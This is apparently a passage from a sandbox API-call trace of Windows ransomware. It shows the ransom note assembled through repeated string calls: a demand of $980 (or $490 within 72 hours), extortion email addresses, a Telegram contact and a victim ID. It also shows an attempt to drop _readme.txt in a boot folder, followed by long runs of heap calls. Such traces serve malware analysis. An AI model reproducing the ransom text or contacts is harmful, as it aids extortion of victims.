e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.330] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.331] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dd3b8 [0116.331] CreateFileW (lpFileName="C:\\Boot\\da-DK\\_readme.txt" (normalized: "c:\\boot\\da-dk\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.331] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.331] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7f20 | out: hHeap=0xd10000) returned 1 [0116.331] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.331] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.331] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.331] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.331] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.331] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.331] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.331] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.331] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.331] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c98 | out: hHeap=0xd10000) returned 1 [0116.331] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c98 [0116.331] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.331] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.331] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.332] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.332] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.332] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.332] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.332] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.332] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.332] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.332] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.332] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.332] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.332] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.332] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.332] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.332] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.332] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.332] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.332] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.332] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.332] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.332] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.332] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.332] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.332] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.332] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.332] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.332] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.332] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.332] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.332] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.332] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.332] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.332] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.332] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.333] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.333] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.333] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.333] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.333] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.333] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.333] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.333] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.333] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.333] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.333] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.333] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.333] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.333] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.333] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.333] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.333] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.333] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.333] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.333] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.333] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.333] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.333] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.333] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.333] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.333] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.333] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.333] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.333] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.333] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.333] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.333] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.333] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.334] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.334] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.334] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.334] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.334] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.334] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.334] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.334] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.334] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.334] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.334] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.334] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.334] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.334] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.334] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.334] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.334] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.334] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.334] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.334] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.334] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.334] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.334] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.334] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.334] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.334] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.334] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.334] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.334] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.334] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.334] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.334] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.335] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.335] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.335] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.335] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.335] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.335] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.335] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.335] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.335] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.335] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.335] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.335] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.335] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.335] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.335] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.335] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.335] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.335] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.335] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.335] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.335] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.335] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.335] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.335] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.335] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.335] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.335] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.335] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.335] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.335] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.335] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.335] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.336] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.336] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.336] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.336] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.336] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.336] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.336] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.336] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.336] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.336] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.336] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.336] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.336] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.336] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.336] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.336] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.336] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.336] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.336] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.336] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.336] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.336] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.336] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.336] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.336] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.336] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.336] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.336] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.336] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.336] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.336] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.336] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.336] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.337] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.337] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.337] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.337] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.337] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.337] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.337] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.337] HeapFree (in: hHeap=0xd10000, 